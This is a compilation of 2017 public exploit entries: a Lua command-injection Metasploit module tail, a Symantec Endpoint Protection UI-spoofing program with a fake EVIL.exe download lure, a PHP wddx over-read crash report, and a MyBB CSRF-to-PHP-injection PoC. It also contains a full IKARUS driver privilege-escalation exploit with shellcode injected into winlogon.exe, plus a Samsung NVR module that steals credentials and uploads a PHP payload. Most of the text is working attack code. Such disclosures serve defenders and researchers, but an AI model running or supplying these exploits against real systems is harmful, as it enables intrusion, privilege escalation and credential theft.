return CheckCode::Detected
end
else
# The above checks failed and exploitability could not be determined.
vprint_error('Unable to determine exploitability, save.lsp not found.')
return CheckCode::Unknown
end
return CheckCode::Safe
end
def exploit
print_status('Sending payload to target...')
# The double square brackets helps to ensure single/double quotes
# in cmd payload do not interfere with syntax of os.execute Lua function.
cmd = %{os.execute([[#{payload.encoded}]])}
# If users want to troubleshoot their cmd payloads, they can see the
# Lua function with params that the module uses in a more verbose mode.
vprint_status("Now executing the following command: #{cmd}")
# Send a PUT request to save.lsp with command payload
begin
vprint_status('Sending PUT request to save.lsp...')
send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(datastore['URI'], 'examples/save.lsp?ex=2.1'),
'ctype' => 'text/plain',
'data' => cmd,
'http' => {
'X-Requested-With' => 'XMLHttpRequest',
'Referer' => 'http://localhost/Lua-Types.lsp'
}
}, 20)
rescue StandardError => e
fail_with(Failure::NoAccess, "Error: #{e}")
end
# Send a GET request to manage.lsp with execute set to true
begin
vprint_status('Sending GET request to manage.lsp...')
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['URI'], 'examples/manage.lsp?execute=true&ex=2.1&type=lua')
}, 20)
rescue StandardError => e
fail_with(Failure::NoAccess, "Error: #{e}")
end
end
end
[+] Credits: John Page a.k.a hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/CVE-2017-6331-SYMANTEC-ENDPOINT-PROTECTION-TAMPER-PROTECTION-BYPASS.txt
[+] ISR: ApparitionSec
Vendor:
=======
www.symantec.com
Product:
===========
Symantec Endpoint Protection
v12.1.6 (12.1 RU6 MP5)
Symantec 12.1.7004.6500
Vulnerability Type:
===================
Tamper-Protection Bypass
Denial Of Service / Message Spoof
CVE Reference:
==============
CVE-2017-6331
SSG16-041
Security Issue:
================
Symantec Endpoint Protection (SEP), does not validate where WinAPI messages comes from (lack of UIPI).
Therefore, malware can easily spoof messages to the UI or send WM_SYSCOMMAND to close
the SEP UI denying end user ability to scan / run the EP AntiVirus protection. Spoofed messages could
also potentially inform a user a scan was clean.
Unfortunately Symantecs advisory left out details of the Denial Of Service as well as minimizing the
amount of text a malware could inject into the UI which would result in compromising the integrity of the
Symantec Endpoint Protection Control Panel user interface.
References:
===========
https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20171106_00
Exploit/POC:
=============
1) Compile below C program, it targets various components of SEP, comment out what you want to send to the UI.
2) Try to open the Symantec Endpoint UI and you will be denied.
3) Or inject attacker supplied messages intructing the user the file is clean etc.
#include <windows.h>
#include <Tlhelp32.h>
#define VICTIM "DevViewer.exe"
//By HYP3RLINX
//ISR: ApparitionSec
//Symantec EP Protection - Tamper Protection Bypass Vulnerability
//Tested successfully on Symantec 12.1.6 (12.1 RU6 MP5) build 7004 Symantec 12.1.7004.6500 Windows 7
//How: FindWindow / SendMessage Win32 API
//Impact: DOS / Integrity Compromised
//TO-DO: Get Window text for SavUI.exe and DOS to prevent AV scans.
void main(void){
while(1){
HWND hWnd = FindWindow( NULL, TEXT("Status - Symantec Endpoint Protection"));
if(hWnd!=NULL){
//This injects arbitrary messages to SEP UI.
SetWindowText(hWnd, "*** Important Security Update, Visit: http://PWN3D.com/EVIL.exe download and follow instructions. ***");
//This prevents a user from being able to run AV scans and renders SEP UI useless
//SendMessage(hWnd, WM_SYSCOMMAND, SC_CLOSE, 0);
}
//HWND savUI = FindWindowEx(0, 0, "Symantec Endpoint Protection", 0);
HWND x = FindWindow(NULL, TEXT("DevViewer"));
if(x!=NULL){
SendMessage(x, WM_SYSCOMMAND, SC_CLOSE, 0);
}
HWND x2 = FindWindow(NULL, TEXT("DoScan Help"));
SendMessage(x2, WM_SYSCOMMAND, SC_CLOSE, 0);
HWND x3 = FindWindow(NULL, TEXT("Sylink Drop"));
SendMessage(x3, WM_SYSCOMMAND, SC_CLOSE, 0);
HWND x4 = FindWindow(NULL, TEXT("Manual Scan started on 7/8/2016"));
if(x!=NULL){
SendMessage(x4, WM_SYSCOMMAND, SC_CLOSE, 0);
}
sleep(1);
}
}
Network Access:
===============
Local
Severity:
=========
Medium
Disclosure Timeline:
=============================
Vendor Notification: July 8, 2016
Vendor acknowledged: 7/14/16
Vendor advisory : November 6, 2017
November 10, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
Description:
------------
A heap out-of-bound read vulnerability in timelib_meridian() can be triggered via wddx_deserialize() or other vectors that call into this function on untrusted inputs.
$ ~/php-7.1.8/sapi/cli/php --version
PHP 7.1.8 (cli) (built: Aug 9 2017 21:42:13) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2017 Zend Technologies
Configuration:
CC="`which gcc`" CFLAGS="-O0 -g -fsanitize=address" ./configure --disable-shared --enable-wddx
Credit:
Wei Lei and Liu Yang of Nanyang Technological University
Test script:
---------------
$ cat wddx.php
*/
<?php
$argc = $_SERVER['argc'];
$argv = $_SERVER['argv'];
$dir_str = dirname(__FILE__);
$file_str = ($dir_str)."/".$argv[1];
if (!extension_loaded('wddx')) print "wddx not loaded.\n";
$wddx_str = file_get_contents($file_str);
print strlen($wddx_str) . " bytes read.\n";
var_dump(wddx_deserialize($wddx_str));
?>
/*
$ cat repro2.wddx
<?xml version='1.0'?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
<header/>
<data>
<struct>
<var name='aDateTime'>
<dateTime>frONt of 0 0</dateTime>
</var>
</struct>
</data>
</wddxPacket>
/*
Expected result:
----------------
NO CRASH
Actual result:
--------------
$ ~/php-7.1.8/sapi/cli/php wddx.php repro2.wddx
309 bytes read.
=================================================================
==13788== ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb57057fc at pc 0x809b622 bp 0xbf9d09d8 sp 0xbf9d09cc
READ of size 1 at 0xb57057fc thread T0
#0 0x809b621 in timelib_meridian /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:410
#1 0x80e0293 in scan /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:18228
#2 0x80f0710 in timelib_strtotime /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:23194
#3 0x806afed in php_parse_date /home/weilei/php-7.1.8/ext/date/php_date.c:1455
#4 0x8a2c588 in php_wddx_process_data /home/weilei/php-7.1.8/ext/wddx/wddx.c:1071
#5 0x8a40f7b in _cdata_handler /home/weilei/php-7.1.8/ext/xml/compat.c:265
#6 0xb5cc06b5 in xmlParseCharData__internal_alias /home/weilei/libxml2/parser.c:4597
#7 0xb5d129be in xmlParseTryOrFinish /home/weilei/libxml2/parser.c:11715
#8 0xb5d1a462 in xmlParseChunk__internal_alias /home/weilei/libxml2/parser.c:12454
#9 0x8a42de6 in php_XML_Parse /home/weilei/php-7.1.8/ext/xml/compat.c:600
#10 0x8a2c974 in php_wddx_deserialize_ex /home/weilei/php-7.1.8/ext/wddx/wddx.c:1105
#11 0x8a2f394 in zif_wddx_deserialize /home/weilei/php-7.1.8/ext/wddx/wddx.c:1323
#12 0x8ddcd0b in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:675
#13 0x8dd70df in execute_ex /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:429
#14 0x8dd8845 in zend_execute /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:474
#15 0x8c32247 in zend_execute_scripts /home/weilei/php-7.1.8/Zend/zend.c:1476
#16 0x8a5fbc5 in php_execute_script /home/weilei/php-7.1.8/main/main.c:2537
#17 0x90f5a70 in do_cli /home/weilei/php-7.1.8/sapi/cli/php_cli.c:993
#18 0x90f834b in main /home/weilei/php-7.1.8/sapi/cli/php_cli.c:1381
#19 0xb5ab9a82 (/lib/i386-linux-gnu/libc.so.6+0x19a82)
#20 0x8065230 in _start (/home/weilei/php-7.1.8/sapi/cli/php+0x8065230)
0xb57057fc is located 0 bytes to the right of 12-byte region [0xb57057f0,0xb57057fc)
allocated by thread T0 here:
#0 0xb6168854 (/usr/lib/i386-linux-gnu/libasan.so.0+0x16854)
#1 0x8b73387 in __zend_malloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2820
#2 0x8b704a6 in _emalloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2413
#3 0x8b710f1 in _safe_emalloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2472
#4 0x8b7164c in _ecalloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2495
#5 0x809bd8a in timelib_string /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:460
#6 0x80dfcbb in scan /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:18215
#7 0x80f0710 in timelib_strtotime /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:23194
#8 0x806afed in php_parse_date /home/weilei/php-7.1.8/ext/date/php_date.c:1455
#9 0x8a2c588 in php_wddx_process_data /home/weilei/php-7.1.8/ext/wddx/wddx.c:1071
#10 0x8a40f7b in _cdata_handler /home/weilei/php-7.1.8/ext/xml/compat.c:265
#11 0xb5cc06b5 in xmlParseCharData__internal_alias /home/weilei/libxml2/parser.c:4597
#12 0xb5d129be in xmlParseTryOrFinish /home/weilei/libxml2/parser.c:11715
#13 0xb5d1a462 in xmlParseChunk__internal_alias /home/weilei/libxml2/parser.c:12454
#14 0x8a42de6 in php_XML_Parse /home/weilei/php-7.1.8/ext/xml/compat.c:600
#15 0x8a2c974 in php_wddx_deserialize_ex /home/weilei/php-7.1.8/ext/wddx/wddx.c:1105
#16 0x8a2f394 in zif_wddx_deserialize /home/weilei/php-7.1.8/ext/wddx/wddx.c:1323
#17 0x8ddcd0b in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:675
#18 0x8dd70df in execute_ex /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:429
#19 0x8dd8845 in zend_execute /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:474
#20 0x8c32247 in zend_execute_scripts /home/weilei/php-7.1.8/Zend/zend.c:1476
#21 0x8a5fbc5 in php_execute_script /home/weilei/php-7.1.8/main/main.c:2537
#22 0x90f5a70 in do_cli /home/weilei/php-7.1.8/sapi/cli/php_cli.c:993
#23 0x90f834b in main /home/weilei/php-7.1.8/sapi/cli/php_cli.c:1381
#24 0xb5ab9a82 (/lib/i386-linux-gnu/libc.so.6+0x19a82)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:410 timelib_meridian
Shadow bytes around the buggy address:
0x36ae0aa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0ab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0ac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0ad0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0ae0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x36ae0af0: fa fa fa fa fa fa fa fa fa fa fd fa fa fa 00[04]
0x36ae0b00:fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap righ redzone: fb
Freed Heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
ASan internal: fe
==13788== ABORTING
Aborted
*/
# Exploit Title: RCE in MyBB up to 1.8.13 via installer
# Date: Found on 05-29-2017
# Exploit Author: Pablo Sacristan
# Vendor Homepage: https://mybb.com/
# Version: Version > 1.8.13 (Fixed in 1.8.13)
# CVE : CVE-2017-16780
This RCE can be executed via CSRF but doesn't require it (in some special cases). The requirements are there shouldn't be a lock in the /install/ directory and then if you have access to the install directory you don't need CSRF, but if you don't then you need CSRF. I have included a patch and a description. The exploit will write PHP code to /inc/config.php which is then 'REQUIRE'd in most of the pages in MyBB, the PoC will just write lollol to the top of every page in MyBB. I also have an XSS but that I will report later.
There is a CSRF vulnerability in MyBB /install/index.php which can be used to inject PHP code into /inc/config.php which is then used in most of the pages (require MYBB_ROOT."/inc/config.php" is in most of the pages).
The vulnerability exists in the table creation process for sqlite databases, this is because the Database Path is then inserted into the /inc/config.php file in line 11 as $config['database']['database'] = 'DB Path';
The vulnerability occurs because MyBB doesn't properly escape the Database Path, allowing an attacker to easily inject PHP by inserting a DB Path of : lol'; echo 'lol this will not cause any parse errors since there will be a : '; added at the end. Of course the attacker can easily just execute code in the server, getting backdoor access to the server easily.
A PoC would be to host a site like this:
<form name="x" action="http://localhost/install/index.php" method="post">
<input type="hidden" name='dbengine' value="sqlite">
<input type="hidden" name='config[sqlite][dbname]' value="lol'; echo 'lol">
<input type="hidden" name='config[sqlite][tableprefix]' value="mybb_">
<input type="hidden" name='action' value="create_tables">
</form>
<script>document.x.submit();</script>
And when a victim logged in as admin to a MyBB website visits this site they will have a "lollol" at the top of every page (or you can also make it do much more malicious things).
A simple patch would be to change /install/index.php:1410 to:
if(strstr($config['dbname'], "./") !== false || strstr($config['dbname'], "../") !== false || strstr($config['dbname'], "'") !== false || empty($config['dbname']))
/*
Exploit Title - IKARUS anti.virus Arbitrary Write Privilege Escalation
Date - 13th November 2017
Discovered by - Parvez Anwar (@parvezghh)
Vendor Homepage - https://www.ikarussecurity.com/
Tested Version - 2.16.7
Driver Version - 0.18780.0.0 - ntguard_x64.sys
Tested on OS - 64bit Windows 7 and Windows 10 (1709)
CVE ID - CVE-2017-14961
Vendor fix url - Soon to be released
Fixed Version - 2.16.18
Fixed driver ver - 0.43.0.0
Check blogpost for details:
https://www.greyhathacker.net/?p=995
*/
#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>
#pragma comment(lib,"advapi32.lib")
#define SystemHandleInformation 16
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)
typedef unsigned __int64 QWORD;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
QWORD Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
DWORD getProcessId(char* process)
{
HANDLE hSnapShot;
PROCESSENTRY32 pe32;
DWORD pid;
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot == INVALID_HANDLE_VALUE)
{
printf("\n[-] Failed to create handle CreateToolhelp32Snapshot()\n\n");
return -1;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapShot, &pe32) == FALSE)
{
printf("\n[-] Failed to call Process32First()\n\n");
return -1;
}
do
{
if (stricmp(pe32.szExeFile, process) == 0)
{
pid = pe32.th32ProcessID;
return pid;
}
} while (Process32Next(hSnapShot, &pe32));
CloseHandle(hSnapShot);
return 0;
}
int spawnShell()
{
// windows/x64/exec - 275 bytes http://www.metasploit.com
// VERBOSE=false, PrependMigrate=false, EXITFUNC=thread, CMD=cmd.exe
char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00";
char* process = "winlogon.exe";
DWORD pid;
HANDLE hProcess;
HANDLE hThread;
LPVOID ptrtomem;
pid = getProcessId(process);
if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)) == NULL)
{
printf("\n[-] Unable to open %s process\n\n", process);
return -1;
}
printf("\n[+] Opened %s process pid=%d with PROCESS_ALL_ACCESS rights", process, pid);
if ((ptrtomem = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE)) == NULL)
{
printf("\n[-] Unable to allocate memory in target process\n\n");
return -1;
}
printf("\n[+] Memory allocated at address 0x%p", ptrtomem);
if (!(WriteProcessMemory(hProcess, (LPVOID)ptrtomem, shellcode, sizeof(shellcode), NULL)))
{
printf("\n[-] Unable to write to process memory\n\n");
return -1;
}
printf("\n[+] Written to allocated process memory");
if ((hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)ptrtomem, NULL, 0, NULL)) == NULL)
{
CloseHandle(hThread);
printf("\n[-] Unable to create remote thread\n\n");
return -1;
}
printf("\n[+] Created remote thread and executed\n\n");
return 0;
}
QWORD TokenAddressCurrentProcess(HANDLE hProcess, DWORD MyProcessID)
{
_NtQuerySystemInformation NtQuerySystemInformation;
PSYSTEM_HANDLE_INFORMATION pSysHandleInfo;
ULONG i;
PSYSTEM_HANDLE pHandle;
QWORD TokenAddress = 0;
DWORD nSize = 4096;
DWORD nReturn;
BOOL tProcess;
HANDLE hToken;
if ((tProcess = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) == FALSE)
{
printf("\n[-] OpenProcessToken() failed (%d)\n", GetLastError());
return -1;
}
NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
if (!NtQuerySystemInformation)
{
printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
return -1;
}
do
{
nSize += 4096;
pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION) HeapAlloc(GetProcessHeap(), 0, nSize);
} while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo, nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH);
printf("\n[i] Current process id %d and token handle value %u", MyProcessID, hToken);
for (i = 0; i < pSysHandleInfo->NumberOfHandles; i++)
{
if (pSysHandleInfo->Handles[i].ProcessId == MyProcessID && pSysHandleInfo->Handles[i].Handle == hToken)
{
TokenAddress = pSysHandleInfo->Handles[i].Object;
}
}
HeapFree(GetProcessHeap(), 0, pSysHandleInfo);
return TokenAddress;
}
int main(int argc, char *argv[])
{
QWORD TokenAddressTarget;
QWORD SepPrivilegesOffset = 0x40;
QWORD PresentByteOffset;
QWORD EnableByteOffset;
QWORD TokenAddress;
HANDLE hDevice;
char devhandle[MAX_PATH];
DWORD dwRetBytes = 0;
printf("-------------------------------------------------------------------------------\n");
printf(" IKARUS anti.virus (ntguard_x64.sys) Arbitrary Write EoP Exploit \n");
printf(" Tested on 64bit Windows 7 / Windows 10 (1709) \n");
printf("-------------------------------------------------------------------------------\n");
TokenAddress = TokenAddressCurrentProcess(GetCurrentProcess(), GetCurrentProcessId());
printf("\n[i] Address of current process token 0x%p", TokenAddress);
TokenAddressTarget = TokenAddress + SepPrivilegesOffset;
printf("\n[i] Address of _SEP_TOKEN_PRIVILEGES 0x%p will be overwritten\n", TokenAddressTarget);
PresentByteOffset = TokenAddressTarget + 0x2;
printf("[i] Present bits at 0x%p will be overwritten with 0x11\n", PresentByteOffset);
EnableByteOffset = TokenAddressTarget + 0xa;
printf("[i] Enabled bits at 0x%p will be overwritten with 0x11", EnableByteOffset);
sprintf(devhandle, "\\\\.\\%s", "ntguard");
hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
if(hDevice == INVALID_HANDLE_VALUE)
{
printf("\n[-] Open %s device failed\n\n", devhandle);
return -1;
}
else
{
printf("\n[+] Open %s device successful", devhandle);
}
printf("\n[~] Press any key to continue . . .\n");
getch();
DeviceIoControl(hDevice, 0x8300000c, NULL, 0, (LPVOID)PresentByteOffset, 0, &dwRetBytes, NULL);
DeviceIoControl(hDevice, 0x8300000c, NULL, 0, (LPVOID)EnableByteOffset, 0, &dwRetBytes, NULL);
printf("[+] Overwritten _SEP_TOKEN_PRIVILEGES bits\n");
CloseHandle(hDevice);
printf("[*] Spawning SYSTEM Shell");
spawnShell();
return 0;
}
# Exploit Title: Unrestricted file upload vulnerability - Web Viewer 1.0.0.193 on Samsung SRN-1670D
# Date: 2017-06-19
# Exploit Author: Omar MEZRAG - 0xFFFFFF / www.realistic-security.com
# Vendor Homepage: https://www.hanwhasecurity.com
# Version: Web Viewer 1.0.0.193 on Samsung SRN-1670D
# Tested on: Web Viewer 1.0.0.193
# CVE : CVE-2017-16524
##
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'digest'
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Samsung SRN-1670D - Web Viewer Version 1.0.0.193 Arbitrary File Read & Upload',
'Description' => %q{
This module exploits an Unrestricted file upload vulnerability in
Web Viewer 1.0.0.193 on Samsung SRN-1670D devices: 'network_ssl_upload.php'
allows remote authenticated attackers to upload and execute arbitrary
PHP code via a filename with a .php extension, which is then accessed via a
direct request to the file in the upload/ directory.
To authenticate for this attack, one can obtain web-interface credentials
in cleartext by leveraging the existing Local File Read Vulnerability
referenced as CVE-2015-8279, which allows remote attackers to read the
web interface credentials via a request for the
cslog_export.php?path=/root/php_modules/lighttpd/sbin/userpw URI.
},
'Author' => [
'Omar Mezrag <omar.mezrag@realistic-security.com>', # @_0xFFFFFF
'Realistic Security',
'Algeria'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-16524' ],
[ 'URL', 'https://github.com/realistic-security/CVE-2017-16524' ],
[ 'CVE', '2015-8279' ],
[ 'URL', 'http://blog.emaze.net/2016/01/multiple-vulnerabilities-samsung-srn.html' ]
],
'Privileged' => true,
'Arch' => ARCH_PHP,
'Platform' => 'php',
'Targets' =>
[
['Samsung SRN-1670D == 1.0.0.193', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 14 2017'
))
register_options(
[
OptString.new('RHOST', [ true, 'The target address.' ]),
OptString.new('RPORT', [ true, 'The target port (TCP).', '80' ]),
])
end
def check
#
print_status('Checking version...')
resp = send_request_cgi({
'uri' => "/index",
'version' => '1.1',
'method' => 'GET',
'headers' =>
{
'User-Agent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
}
})
unless resp
print_error("Connection timed out.")
return Exploit::CheckCode::Unknown
end
# <!--------------------------------- File Version 1.0.0.193 --------------------------------->
version = nil
if resp and resp.code == 200 and resp.body.match(/Web Viewer for Samsung NVR/)
if resp.body =~ /File Version (\d+\.\d+\.\d+\.\d+)/
version = $1
if version == '1.0.0.193'
print_good "Found vesrion: #{version}"
return Exploit::CheckCode::Appears
end
end
end
Exploit::CheckCode::Safe
end
def exploit
print_status('Obtaining credentails...')
resp = send_request_cgi({
'uri' => "/cslog_export.php",
'version' => '1.1',
'method' => 'GET',
'vars_get'=>
{
'path' => '/root/php_modules/lighttpd/sbin/userpw',
'file' => 'foo'
},
'headers' =>
{
'User-Agent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
}
})
unless resp
print_error("Connection timed out.")
return Exploit::CheckCode::Unknown
end
if resp and resp.code == 200 and resp.body !~ /Authentication is failed/ and resp.body !~ /File not found/
username = resp.body.split(':')[0]
password = resp.body.split(':')[1].gsub("\n",'')
print_good "Credentials obtained successfully: #{username}:#{password}"
data1 = Rex::Text.encode_base64("#{username}")
data2 = Digest::SHA256.hexdigest("#{password}")
randfloat = Random.new
data3 = randfloat.rand(0.9)
data4 = data3
print_status('Logging...')
resp = send_request_cgi({
'uri' => "/login",
'version' => '1.1',
'method' => 'POST',
'vars_post'=>
{
'data1' => data1,
'data2' => data2,
'data3' => data3,
'data4' => data4
},
'headers' =>
{
'User-Agent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)",
'DNT' => "1",
'Cookie' => "IESEVEN=1"
}
})
unless resp
print_error("Connection timed out.")
return Exploit::CheckCode::Unknown
end
if resp and resp.code == 200 and resp.body !~ /ID incorrecte/ and resp.body =~ /setCookie\('NVR_DATA1/
print_good('Authentication Succeeded')
nvr_d1 = $1 if resp.body =~ /setCookie\('NVR_DATA1', '(\d\.\d+)'/
nvr_d2 = $1 if resp.body =~ /setCookie\('NVR_DATA2', '(\d+)'/
nvr_d3 = $1 if resp.body =~ /setCookie\('NVR_DATA3', '(0x\h\h)'/
nvr_d4 = $1 if resp.body =~ /setCookie\('NVR_DATA4', '(0x\h\h)'/
nvr_d7 = $1 if resp.body =~ /setCookie\('NVR_DATA7', '(\d)'/
nvr_d8 = $1 if resp.body =~ /setCookie\('NVR_DATA8', '(\d)'/
nvr_d9 = $1 if resp.body =~ /setCookie\('NVR_DATA9', '(0x\h\h)'/
cookie = "IESEVEN=1; NVR_DATA1=#{nvr_d1}; NVR_DATA2=#{nvr_d2}; NVR_DATA3=#{nvr_d3}; NVR_DATA4=#{nvr_d4}; NVR_DATA7=#{nvr_d7}; NVR_DATA8=#{nvr_d8}; NVR_DATA9=#{nvr_d9}"
payload_name = "#{rand_text_alpha(8)}.php"
print_status("Generating payload[ #{payload_name} ]...")
php_payload = get_write_exec_payload(:unlink_self=>true)
print_status('Uploading payload...')
data = Rex::MIME::Message.new
data.add_part("2", nil, nil, 'form-data; name="is_apply"')
data.add_part("1", nil, nil, 'form-data; name="isInstall"')
data.add_part("0", nil, nil, 'form-data; name="isCertFlag"')
data.add_part(php_payload, 'application/x-httpd-php', nil, "form-data; name=\"attachFile\"; filename=\"#{payload_name}\"")
post_data = data.to_s
resp = send_request_cgi({
'uri' => normalize_uri('/network_ssl_upload.php'),
'method' => 'POST',
'vars_get' =>
{
'lang' => 'en'
},
'headers' =>
{
'User-Agent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
},
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => cookie,
'data' => post_data
})
unless resp
print_error("Connection timed out.")
return Exploit::CheckCode::Unknown
end
if resp and resp.code == 200
print_status('Executing payload...')
upload_uri = normalize_uri("/upload/" + payload_name)
send_request_cgi({
'uri' => upload_uri,
'method' => 'GET'
},5)
unless resp
print_error("Connection timed out.")
return Exploit::CheckCode::Unknown
end
if resp and resp.code != 200
print_error("Failed to upload")
end
else
print_error("Failed to upload")
end
else
print_error("Authentication failed")
end
else
print_error "Error obtaining credentails"
end
end
end
#!/usr/bin/python
#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: Xlight FTP Server (x86/x64) - Buffer Overflow Crash (PoC)
# Date: 07-11-2017
# Vulnerable Software: Xlight FTP Server v3.8.8.5 (x86/x64)
# Vendor Homepage: http://www.xlightftpd.com/
# Version: v3.8.8.5 (x86/x64)
# Software Link: http://www.xlightftpd.com/download/
# Tested On: Windows 7 x64
#
#
